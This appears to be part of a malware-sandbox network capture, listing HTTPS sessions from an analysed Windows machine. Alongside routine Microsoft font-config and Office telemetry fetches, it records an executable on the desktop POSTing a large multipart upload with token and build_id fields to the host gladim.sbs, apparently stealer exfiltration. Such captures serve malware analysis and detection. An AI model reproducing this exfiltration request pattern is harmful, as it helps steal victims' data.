0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49747	23.206.103.35	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-02 00:34:24 UTC	480	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: HK Cache-Control: public, max-age=140514 Date: Mon, 02 Dec 2024 00:34:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49752	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:23 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------HJJKJJDHCGCAECAAECFHCont
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003424Z-174f78459685m244hC1EWRgp2c00000013eg00000000fwwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:24 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003424Z-174f7845968n2hr8hC1EWR9cag000000137g00000000m143 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e044a7be-f01e-003c-0c76-438cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003425Z-174f78459685726chC1EWRsnbg00000013rg00000000ahsb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003425Z-174f78459688l8rvhC1EWRtzr00000000g5g00000000p3cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49758	23.206.103.35	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-02 00:34:26 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (hkc/BD20) X-CID: 11 Cache-Control: public, max-age=215259 Date: Mon, 02 Dec 2024 00:34:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-02 00:34:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49759	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
